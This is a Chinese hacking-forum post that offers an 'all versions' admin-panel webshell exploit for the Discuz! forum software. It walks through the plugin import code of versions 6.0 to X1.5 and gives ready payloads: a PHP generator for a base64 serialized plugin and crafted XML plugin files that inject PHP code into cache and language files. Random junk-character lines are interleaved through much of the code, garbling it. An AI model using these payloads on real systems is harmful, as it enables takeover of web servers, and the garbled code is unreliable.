中国网络渗透测试联盟
标题:
dz全版本后台拿webshell0day
[打印本页]
作者:
admin
时间:
2012-9-5 14:53
标题:
dz全版本后台拿webshell0day
趁着地球还没毁灭,赶紧放出来。
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预祝"单恋一枝花"童鞋生日快乐。
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恭喜我的浩方Dota升到2级。
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希望世界和平。
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我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……
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既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。
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一 Discuz! 6.0 和 Discuz! 7.0
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既然要后台拿Shell,文件写入必看。
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/include/cache.func.php
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function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
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global $authkey;
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if(is_array($cachenames) && !$cachedata) {
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foreach($cachenames as $name) {
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$cachedata .= getcachearray($name, $script);
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}
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}
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$dir = DISCUZ_ROOT.'./forumdata/cache/';
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if(!is_dir($dir)) {
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@mkdir($dir, 0777);
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}
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if($fp = @fopen("$dir$prefix$script.php", 'wb')) {
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fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".
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"\n//Created: ".date("M j, Y, G:i").
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"\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");
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fclose($fp);
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} else {
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exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');
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}
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}
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往上翻,找到调用函数的地方.都在updatecache函数中.
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if(!$cachename || $cachename == 'plugins') {
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$query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
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while($plugin = $db->fetch_array($query)) {
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$data = array_merge($plugin, array('modules' => array()), array('vars' => array()));
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$plugin['modules'] = unserialize($plugin['modules']);
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if(is_array($plugin['modules'])) {
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foreach($plugin['modules'] as $module) {
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$data['modules'][$module['name']] = $module;
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}
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}
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$queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
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while($var = $db->fetch_array($queryvars)) {
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$data['vars'][$var['variable']] = $var['value'];
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}
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//注意
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writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
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}
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}
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如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.
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去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
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但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.
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/admin/plugins.inc.php
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if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
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if(!$newname) {
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cpmsg('plugins_edit_name_invalid');
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}
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
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//下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
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if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
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cpmsg('plugins_edit_identifier_invalid');
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}
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$db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
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}
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//写入缓存文件
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updatecache('plugins');
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updatecache('settings');
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cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');
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还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
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预览源代码打印关于
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elseif(submitcheck('importsubmit')) {
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$plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);
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$pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
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//解码后没有判定
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if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {
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cpmsg('plugins_import_data_invalid');
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} elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
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cpmsg('plugins_import_version_invalid');
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}
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
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//判断是否重复,直接入库
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if($db->num_rows($query)) {
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cpmsg('plugins_import_identifier_duplicated');
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}
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$sql1 = $sql2 = $comma = '';
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foreach($pluginarray['plugin'] as $key => $val) {
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if($key == 'directory') {
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//compatible for old versions
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$val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
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}
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$sql1 .= $comma.$key;
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$sql2 .= $comma.'\''.$val.'\'';
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$comma = ',';
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}
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$db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
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$pluginid = $db->insert_id();
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foreach(array('hooks', 'vars') as $pluginconfig) {
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if(is_array($pluginarray[$pluginconfig])) {
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foreach($pluginarray[$pluginconfig] as $config) {
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$sql1 = 'pluginid';
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$sql2 = '\''.$pluginid.'\'';
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foreach($config as $key => $val) {
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$sql1 .= ','.$key;
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$sql2 .= ',\''.$val.'\'';
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}
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$db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");
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}
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}
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}
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updatecache('plugins');
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updatecache('settings');
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cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');
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}
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随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
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/forumdata/cache/plugin_shell.php
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<?php
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//Discuz! cache file, DO NOT modify me!
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//Created: Mar 17, 2011, 16:56
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//Identify: 7c0b5adeadf5a806292d45c64bd0659c
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$_DPLUGIN['shell'] = array (
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'pluginid' => '11',
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'available' => '0',
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'adminid' => '0',
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'name' => 'Getshell',
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'identifier' => 'shell',
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'datatables' => '',
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'directory' => '',
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'copyright' => '',
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'modules' =>
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array (
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),
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'vars' =>
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array (
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),
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)?>
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我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
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/forumdata/cache/plugin_a']=phpinfo();$a['a.php
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<?php
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//Discuz! cache file, DO NOT modify me!
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//Created: Mar 17, 2011, 16:56
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//Identify: 7c0b5adeadf5a806292d45c64bd0659c
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$_DPLUGIN['a']=phpinfo();$a['a'] = array (
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'pluginid' => '11',
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'available' => '0',
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'adminid' => '0',
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'name' => 'Getshell',
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'identifier' => 'shell',
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'datatables' => '',
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'directory' => '',
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'copyright' => '',
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'modules' =>
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array (
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17
# |& _' r" ` H I( a; |
),
8 U5 U' t% ]$ }. m& c; {$ ^/ Q
18
' b7 x% s$ |) o8 I% }- y) ~
'vars' =>
' A: F9 {; }1 c' A# b1 C
19
3 M/ I) X6 f! E3 q& @3 w0 N
array (
2 |6 q# W$ s2 X# |' L" p
20
' N+ k5 m2 k$ B4 m. K9 y6 w9 L
),
/ X) E+ j' i1 ?, b6 Z* K& A6 h. S/ `
21
% e/ }+ S: m, d" r0 ^
)?>
" k9 i% E! J9 N3 C) ~- _. r
最后是编码一次,给成Exp:
- Y) b: M2 B# u8 ~/ t+ {
01
H4 i' S6 R7 J
<?php
1 B2 `. l. f. i
02
% _7 R: N9 ~% I8 X: [0 y! A. U
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
0 _! Z" M6 T+ g2 R* P
03
' B" j, d, n; R" f6 f5 m/ Y
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
1 g% ]$ B0 T- t( u/ @# e
04
& ]5 B# ~, c( s. E5 {
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
$ S4 G5 P* Q* I+ y2 L( \7 G
05
; D' L, `+ o: Y$ t8 @
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
) R& u5 K) o. o. w& T" Y6 w3 u4 s9 y
06
0 G* q/ @+ ^# b; T
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
1 _2 u7 Z. x2 E
07
( a, m: B8 _6 z9 l
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
3 {; `) I0 S3 G+ W( P
08
! f9 E0 K) P, c8 }6 p
fQ=="));
4 r$ |: r: g0 `- L
09
8 i6 }3 q( p! {) u+ |: W% q/ G( ?
//print_r($a);
8 K3 @' R# k! A" _" t2 n) Q
10
( L+ P9 t( h# N2 d0 B: s$ x& f
$a['plugin']['name']='GetShell';
, `/ I7 C! W3 z0 [7 f* Q
11
! u0 b" L- S7 ` z9 h& |
$a['plugin']['identifier']='a\']=phpinfo();$a[\'';
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12
7 I( i5 q& P- G4 ~0 u9 `
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13
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print(base64_encode(serialize($a)));
4 V. ^1 _+ ]6 ~1 @! w
14
) O, O- l. S4 E4 {& m2 E0 x
?>
) Z* J& D% k/ }
+ E% X6 Y# R' [# `4 U& J
7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"
) h1 L7 M! h4 M6 W* Q9 F7 f
2 U8 a1 p2 y; U# M$ t1 c
二 Discuz! 7.2 和 Discuz! X1.5
( u. d5 {4 P. o6 K
E, ]# h8 T6 i
以下以7.2为例
4 G8 ~' A" B6 e& V' L- n
1 x% y5 N; |% p; w; v- o
/admin/plugins.inc.php
3 ]' o! y4 M2 m: a( s7 C. z, B d1 d
01
$ q3 M v/ [$ N1 \
elseif($operation == 'import') {
% C g. H& X/ x, m
02
% a9 F: u. U7 a6 \* R
# v: h- N" E; n' q6 b
03
$ ^' k5 M) G% h M& j J
if(!submitcheck('importsubmit') && !isset($dir)) {
, l( ?# o( W9 l7 D% d5 [2 O
04
) r' |4 P6 `1 ?
" f2 _! E; J, h& M; m
05
4 h. v9 M" \- n# J
/*未提交前表单神马的*/
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06
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% E1 y/ g# j# i( f+ _* i/ I; c
07
- E# g: e" q& a$ a
} else {
, Q N+ t/ v. G3 Y- J+ @, U0 N
08
3 c& n; s2 l( d0 ?6 i9 J) \9 @
. ]0 z4 l! Y8 u9 V. }, H( V# Z: K
09
. B8 t4 h6 i- S/ v2 z
if(!isset($dir)) {
1 D7 m1 S6 r- j8 c! |5 ]' l: @8 u
10
. k9 x" K) H2 H
//导入数据解码
3 T* g" l! H% Y: @
11
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$pluginarray = getimportdata('Discuz! Plugin');
9 S6 G! X: l" O! b
12
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} elseif(!isset($installtype)) {
' {: n! k* `/ f( U, g8 A
13
* R" {' i7 b7 y2 `0 q8 ~8 j# |# B2 ^
/*省略一部分*/
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14
5 R! b$ D5 W0 `4 H
}
( p: h$ y/ }* o" z
15
! |7 O/ c2 |% K% ~0 U; ^
//判定你妹啊,两遍啊两遍
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16
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if(!ispluginkey($pluginarray['plugin']['identifier'])) {
% H) b' ]+ D, j0 `( {$ l- e9 a' {
17
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cpmsg('plugins_edit_identifier_invalid', '', 'error');
" ]3 F/ I1 m! C3 `
18
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}
9 i, T6 \; G- O! o
19
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if(!ispluginkey($pluginarray['plugin']['identifier'])) {
$ u- L, ~' V; N; A: }: _5 n
20
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cpmsg('plugins_edit_identifier_invalid', '', 'error');
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21
. R) q6 @/ Q0 [% O3 @ i
}
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22
* X* F- s$ G J. T+ K
if(is_array($pluginarray['hooks'])) {
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23
6 \* P" t) E. c) y! K
foreach($pluginarray['hooks'] as $config) {
/ n: A% _5 \6 [) ~; o8 T. f
24
4 Q$ t' ^' d$ i2 _4 B1 T' m
if(!ispluginkey($config['title'])) {
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25
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cpmsg('plugins_import_hooks_title_invalid', '', 'error');
5 P" {8 ^# O6 K+ a \+ T+ U
26
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}
' P$ y( ?* X; ~* R# ^! c2 {5 s
27
" v7 g) y% m$ _4 u
}
9 ^/ \8 J3 h: C
28
/ \" G: `. t) c9 T; ~( n
}
. | x6 A* D* E2 ?/ B
29
4 ]/ O" v- d* [4 r4 j8 d' `
if(is_array($pluginarray['vars'])) {
' p* a( D& x& O$ c9 }; \) ^* Y
30
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foreach($pluginarray['vars'] as $config) {
2 v, ?2 O* \. Q. L
31
1 w4 d$ R" c' p
if(!ispluginkey($config['variable'])) {
, ^ T3 E1 l6 J, [1 s
32
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cpmsg('plugins_import_var_invalid', '', 'error');
& A5 d& t8 B6 @7 q: i- v% ~
33
" k1 L# F: I- g
}
1 l2 c* T' ]/ J, y7 D$ D; f4 y. T
34
% A, V& v- I8 y" a9 P
}
* L8 N6 v& y# g0 v6 O* s/ d8 y
35
+ s/ ?% F9 l& F M' U
}
: Z- l; m% K3 U* x1 A" k- G
36
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6 L N! U4 I+ L7 w! d/ Q
37
% Q2 d$ V5 @9 l* w2 ?
$langexists = FALSE;
9 s/ d% @( p9 k' H) Z
38
% m: `7 K! }+ `5 C, X( q$ n
//你有张良计,我有过墙梯
& X9 P. l7 S+ R/ V2 ?! C
39
1 |7 X+ M2 K' A/ s6 I) }- }7 y
if(!empty($pluginarray['language'])) {
" Z$ X% o, R# b$ B, b; Y; [
40
* J% p% b" N8 a1 @5 H. k( G
@mkdir('./forumdata/plugins/', 0777);
' F* c% i; y- H0 j. h, P2 r% L& I1 _
41
8 O5 ~4 Q0 F; v+ _( `
$file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php';
% H4 D! g4 K. |$ I6 p, Q9 M2 d0 ?$ |
42
5 h) c$ l2 m! {
if($fp = @fopen($file, 'wb')) {
+ \$ L: E9 D9 p
43
" W6 p! x, x4 r$ ~$ B4 e5 ]: Q, }
$scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';
* A6 p8 x; K( ~
44
4 J1 B4 f d7 I
$templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';
* |& X2 E2 {% x1 f0 t& B8 |
45
* E( ?2 @& M5 i4 m5 H& Y$ Y
$installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';
! ]" c9 ~4 ?1 j" E, y
46
* x' O5 K0 a8 ^
fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
% N) R" X7 F- p, I; Q2 B
47
3 g, G' X8 i7 p: S$ T$ ?
fclose($fp);
/ v* h% ]% p5 }; s% Z4 u2 a
48
+ j3 |6 Z% Y- }: x1 @5 T3 B
}
+ U" _ U+ F4 i: ^( t( f
49
7 Q$ h" C: r" D
$langexists = TRUE;
5 [3 t: L' G1 v, s1 z- @4 F1 K7 `! @
50
' E. N3 Y- T: S0 y) E# \
}
6 l: G; X5 q& Z% o- \$ b# M
51
+ H2 Z1 w3 o W [9 M' u
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52
. A9 m3 a" P, P3 s
/*处理神马的*/
* i3 Y5 j+ x& } J2 M. I7 e& }9 W
53
8 P" `9 n% p L/ z. d
updatecache('plugins');
/ J; a7 u) I I9 G2 u
54
. P9 \. J" b4 r( Q
updatecache('settings');
$ c6 q( z$ k5 S0 S
55
- z5 i4 j2 D$ k) F: { y# `. X
updatemenu();
0 Y# I" |/ Y$ D1 J# G& a
56
- ^. B5 [& J2 @7 f) m
! H/ ^! N4 m* U7 R2 M C
57
3 I2 s2 m6 Y( R1 s5 x" D
/*省略部分代码*/
. K7 @9 L9 g2 R; w* X( R' N) u
58
' W8 ]0 |5 U8 b& W5 ~
5 u# O9 C$ W3 ?$ [+ D
59
) n: j* v! B2 d* P8 z6 M
}
5 u& Z: |$ P0 S6 g; }4 [
先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.
6 `1 w! ?7 x8 q, E) |; a
01
$ U! S$ \7 I9 s
function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {
9 [* `3 @: B) a1 D' Y" R* J
02
; J6 @8 A$ u) c( ~0 a
if($GLOBALS['importtype'] == 'file') {
) K0 Y" f5 b) R; {
03
! K- [/ C+ T! {* ]/ ~( p3 F1 J
$data = @implode('', file($_FILES['importfile']['tmp_name']));
/ S7 b' V E" Y" x2 t$ I
04
3 L: [+ Q. ]; H
@unlink($_FILES['importfile']['tmp_name']);
( g, F5 }& X: g/ |2 [8 k
05
! M: Y# i1 R: u" Q9 L8 Z
} else {
1 I/ W$ O, M) N
06
+ d3 u P" l6 {7 J+ [
$data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];
- k3 |* V1 P: ]0 [. Y. o6 m
07
( p V" Z/ t6 p% D1 F1 F$ h) ^/ ^
}
- Q8 B/ E2 a1 D/ o9 |
08
: E) z/ X+ H3 y$ A3 B6 T3 e% C
include_once DISCUZ_ROOT.'./include/xml.class.php';
. K1 k, Z4 l, v" b2 P% I- u
09
- Q4 k6 B0 N) {3 F0 s
$xmldata = xml2array($data);
1 z7 J$ i% ?- _+ T
10
9 T* o: r9 x1 T: d5 J
if(!is_array($xmldata) || !$xmldata) {
. h( }; e7 q$ l
11
! y0 |6 x+ D* U, M
//向下兼容
9 {% _( X* a0 e" p8 [9 j
12
& z( t( p4 L/ C( |/ K
if($name && !strexists($data, '# '.$name)) {
) ^& t) R. m# x @4 a5 e6 [
13
2 q" r( D: m4 P0 {8 o
if(!$ignoreerror) {
1 t. e5 c! a/ L2 Z
14
, ~, V y% I* M& I' Q
cpmsg('import_data_typeinvalid', '', 'error');
! o; K" B* z+ P! N0 b' W
15
) B- c) T4 M/ D, E
} else {
- c. w. W* C7 B0 D. Q9 i# E
16
k, }* Y% L4 V; i
return array();
# q$ k b0 D# v# w$ M2 q
17
, _- d8 K! q1 W# x% k i2 o1 u
}
/ }; [6 N( s) K! i' m( z6 m: G
18
: k8 e2 |4 V G6 H" r7 p7 f
}
; {# }- G2 j' O% d
19
w" B: q' P B" ~; ] H( e
$data = preg_replace("/(#.*\s+)*/", '', $data);
3 J- s: W3 D. [1 h/ v/ N2 q
20
/ T3 w3 H* I, ]1 G5 n
$data = unserialize(base64_decode($data));
1 t4 y1 W; @& P- \- U; p, o! w5 _
21
1 `" A, ]& ?) r" g" V; ]
if(!is_array($data) || !$data) {
) ]% W7 ]3 S0 n& G- s7 B
22
5 \- L+ Q- p, R* G0 U, J/ [6 j
if(!$ignoreerror) {
# [9 t6 S1 r; @
23
: `! F' T+ X& ^5 Z
cpmsg('import_data_invalid', '', 'error');
& P2 n/ W. e Q
24
% b3 M+ t+ c) m" `
} else {
$ E, C/ L, V. {) V
25
& f- V; i) Y1 ?( t8 l3 Q
return array();
: g& k' u. }/ X9 [" ?
26
5 T( J1 F: a2 T
}
# C/ g8 x# _2 k3 H: m/ Q1 x. y7 h4 f
27
. A; T& r9 i! m2 q' ~9 G
}
5 ]: I6 l3 |- P, b) m$ `
28
1 J( f! @0 z" B2 ]: H
} else {
1 C; U- d' F& n7 I8 T
29
+ m4 I9 U4 I# B; C+ [+ ^% g4 D
//XML解析
$ c2 N4 n7 E: a7 t
30
! o, D D: T+ A G# s2 N1 v' k
if($name && $name != $xmldata['Title']) {
H6 v, S* m x
31
; P5 {. j9 k$ G8 C( ~
if(!$ignoreerror) {
8 C. ?. \& q" P) z! G( Z
32
4 P8 Q7 o. A5 L7 Q
cpmsg('import_data_typeinvalid', '', 'error');
0 V% e" \6 Q- g( r6 W" i h% T+ a
33
7 Q0 W& P3 z& l. w; k9 A( z
} else {
- n9 J1 I$ ?( c" ], Z) c4 z
34
/ v7 U4 Y" v5 p
return array();
% T" K1 T' k6 x+ i+ x0 J- r- g
35
3 {2 }6 V, v9 Z1 ~1 V$ _+ o$ L1 E' v
}
$ I" t4 s9 o# R3 Q
36
l" k3 i; p& [' C9 @
}
+ ^3 N3 j' U$ N. X: n5 y
37
8 a% ?3 r& ^# T: {' e2 }5 ]
$data = exportarray($xmldata['Data'], 0);
" Y8 A" _2 S- C0 ?0 J2 a, i$ C' ? Z
38
4 G. {" Y* z- |
}
) `. _, s; [" t, S
39
7 p$ G3 k7 T6 ~* u1 m
if($addslashes) {
6 ?6 Z/ i% ^& C/ A- c
40
* N& H" n1 [) A8 s4 P. w
//daddslashes在两个版本的处理导致了Exp不能通用.
7 l2 y9 r4 r p+ t7 m5 ^5 r
41
* P. V" |) u) a# F% s+ Z+ Q
$data = daddslashes($data, 1);
7 W3 F7 x4 }) E, L: W3 l. V
42
2 h2 r* P' p9 o. E/ n5 Z9 _
}
% z% T) r* v0 X: |' m
43
/ t. V7 @7 a: W M% ~
return $data;
/ b1 \0 X8 c: W6 f
44
$ d' ?7 ~) b9 H' `
}
# L; n3 K# _8 H+ \9 A2 V k) K7 h" c
判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
) T) ?( @. D- G- T7 s( X
我们只要控制scriptlangstr或者其它任何一个就可以了。
$ u1 U/ p6 P. Y, R) [$ b9 }
01
8 Y) r ?8 J* E) A4 d
function langeval($array) {
0 O' k: Q' I( N8 U* B- T' U
02
0 q( u" K7 l3 A
$return = '';
" B# o0 j, M: b1 d2 j) Y. S+ u3 v6 V
03
& k1 x& V( j6 E
foreach($array as $k => $v) {
8 C# M# }, ~# U8 Q
04
4 k3 j0 j0 ]$ x& G, G
//Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
2 j2 K D$ H- l0 Q
05
8 s" |8 H3 t( Y( c
$k = str_replace("'", '', $k);
) K8 e$ I( z* O1 I2 P% d) r
06
( }4 B* J7 f4 k$ I3 ? n
//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?
h3 A# H! F! A. J! t4 l
07
# [% V/ {7 p( B; [' C; |' ]# }" E
$return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";
# |& y' N/ L# F# K( B
08
; j, M7 P* q* y4 u9 M7 ~
}
7 c6 ~' _% |- V$ i3 R! W2 `& g$ [
09
& c: p5 p+ @% q; q9 ^
return "array(\n$return);\n\n";
# e* [' T: P1 J P2 n. o
10
& y$ M" m) I+ |; ~) D' g( Y3 e
}
. T4 P* ~8 T5 G
Key这里不通用.
! _. H) V% |' F, ^ e6 T
9 P- \& n& {# ~3 p+ G9 \' |
7.2
! F) e; J( z( [8 k' V9 y& f
01
( i5 g$ B0 {" L! X, w: G
function daddslashes($string, $force = 0) {
3 X d2 x; N, ]! Z
02
. D% B) l# b# `
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
7 F- B: a6 B; @5 }5 \# s! k
03
: \3 n' x% I8 ~9 z0 E
if(!MAGIC_QUOTES_GPC || $force) {
4 u. N9 P/ w# c4 O2 v# c
04
+ g3 m, |+ ] x" A
if(is_array($string)) {
4 l4 X! o" B& J( f. p6 s; Y
05
' ^+ y& A( Y7 E$ |) j/ w
foreach($string as $key => $val) {
2 q' K8 F3 Y4 o
06
: S+ u6 ^# g" W
$string[$key] = daddslashes($val, $force);
0 d' @% s, C4 G& @ B) `/ b ?
07
; C( J1 m1 _6 c7 G/ S) B
}
1 O: _' X1 j& {0 f. O6 C
08
0 p% M$ F4 V& ?. y, z* |
} else {
0 E2 ?' p* Z8 k: O7 e5 @
09
3 l$ S" z% q9 F+ h/ b& A# z/ o2 c
$string = addslashes($string);
: s" J# V* c5 K' H1 ~# y! [# G
10
@9 i3 K; c8 ]4 j' {7 @
}
7 b2 T" p% b' @5 g2 l! \# L
11
5 b4 ?* ?! e" o' r; v+ b
}
2 ]' }+ c) a+ V5 x
12
: J4 A0 D3 ~5 [
return $string;
) F/ {2 P! g; x
13
7 ^$ N ?; ]4 \* F* V1 |1 f) g4 r- b
}
( P3 n4 v( s+ x* i' l
X1.5
3 k k7 a# l/ E E! O
01
- P: o6 t, K' I
function daddslashes($string, $force = 1) {
: v) F8 }+ D7 X* H, R+ L# m( @
02
8 v: ~5 |, j9 t4 d
if(is_array($string)) {
1 X. Q4 v" u( R0 v- ~6 ?
03
$ C! D4 W3 I5 \$ Z
foreach($string as $key => $val) {
6 s2 I/ n! Y5 I8 C
04
0 G6 w2 q E% Q" b" k' n6 |0 c0 R
unset($string[$key]);
7 o( M0 h4 B6 c2 @0 ]& x6 C, }
05
/ C: B. {' h: S* u6 C3 H, n
//过滤了key
. p' a+ D: {1 _& C: A: ]: |7 Z
06
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$string[addslashes($key)] = daddslashes($val, $force);
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}
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} else {
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$string = addslashes($string);
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}
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return $string;
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}
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还是看下shell.lang.php的文件格式.
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<?php
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$scriptlang['shell'] = array(
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'a' => '1',
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'b' => '2',
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);
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?>
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7.2版本没有过滤Key,所以直接用\废掉单引号.
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X1.5,单引号转义后变为\',再被替换一次',还是留下了\
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而$v在两个版本中过滤相同,比较通用.
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X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件
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$v通用Exp:
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<root>
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<item id="Title"><![CDATA[Discuz! Plugin]]></item>
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<item id="Version"><![CDATA[7.2]]></item>
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05
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<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
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<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
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<item id="Data">
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<item id="plugin">
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<item id="available"><![CDATA[0]]></item>
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<item id="adminid"><![CDATA[0]]></item>
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<item id="name"><![CDATA[www]]></item>
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<item id="identifier"><![CDATA[shell]]></item>
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<item id="description"><![CDATA[]]></item>
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<item id="datatables"><![CDATA[]]></item>
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<item id="directory"><![CDATA[]]></item>
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<item id="copyright"><![CDATA[]]></item>
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<item id="modules"><![CDATA[a:0:{}]]></item>
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<item id="version"><![CDATA[]]></item>
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</item>
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<item id="version"><![CDATA[7.2]]></item>
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<item id="language">
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<item id="scriptlang">
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<item id="a"><![CDATA[b\]]></item>
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<item id=");phpinfo();?>"><![CDATA[x]]></item>
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</item>
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</item>
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</item>
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</root>
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7.2 Key利用
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<root>
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<item id="Title"><![CDATA[Discuz! Plugin]]></item>
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<item id="Version"><![CDATA[7.2]]></item>
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<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
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<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
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<item id="Data">
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<item id="plugin">
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<item id="available"><![CDATA[0]]></item>
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<item id="adminid"><![CDATA[0]]></item>
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<item id="name"><![CDATA[www]]></item>
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<item id="identifier"><![CDATA[shell]]></item>
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<item id="description"><![CDATA[]]></item>
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<item id="datatables"><![CDATA[]]></item>
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<item id="directory"><![CDATA[]]></item>
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<item id="copyright"><![CDATA[]]></item>
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<item id="modules"><![CDATA[a:0:{}]]></item>
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<item id="version"><![CDATA[]]></item>
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</item>
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<item id="version"><![CDATA[7.2]]></item>
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<item id="language">
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<item id="scriptlang">
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23
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<item id="a\"><![CDATA[=>1);phpinfo();?>]]></item>
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24
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</item>
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25
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</item>
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</item>
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27
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</root>
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X1.5
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<root>
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03
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<item id="Title"><![CDATA[Discuz! Plugin]]></item>
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04
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<item id="Version"><![CDATA[7.2]]></item>
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05
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<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
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<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
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07
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<item id="Data">
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08
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<item id="plugin">
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<item id="available"><![CDATA[0]]></item>
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<item id="adminid"><![CDATA[0]]></item>
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<item id="name"><![CDATA[www]]></item>
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<item id="identifier"><![CDATA[shell]]></item>
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<item id="description"><![CDATA[]]></item>
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14
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<item id="datatables"><![CDATA[]]></item>
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15
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<item id="directory"><![CDATA[]]></item>
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<item id="copyright"><![CDATA[]]></item>
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17
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<item id="modules"><![CDATA[a:0:{}]]></item>
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18
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<item id="version"><![CDATA[]]></item>
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19
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</item>
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<item id="version"><![CDATA[7.2]]></item>
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21
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<item id="language">
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22
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<item id="scriptlang">
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23
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<item id="a'"><![CDATA[=>1);phpinfo();?>]]></item>
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24
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</item>
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25
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</item>
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26
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</item>
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27
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</root>
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如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.
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最后的最后,加积分太不靠谱了,管理员能免费送包盐不?
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
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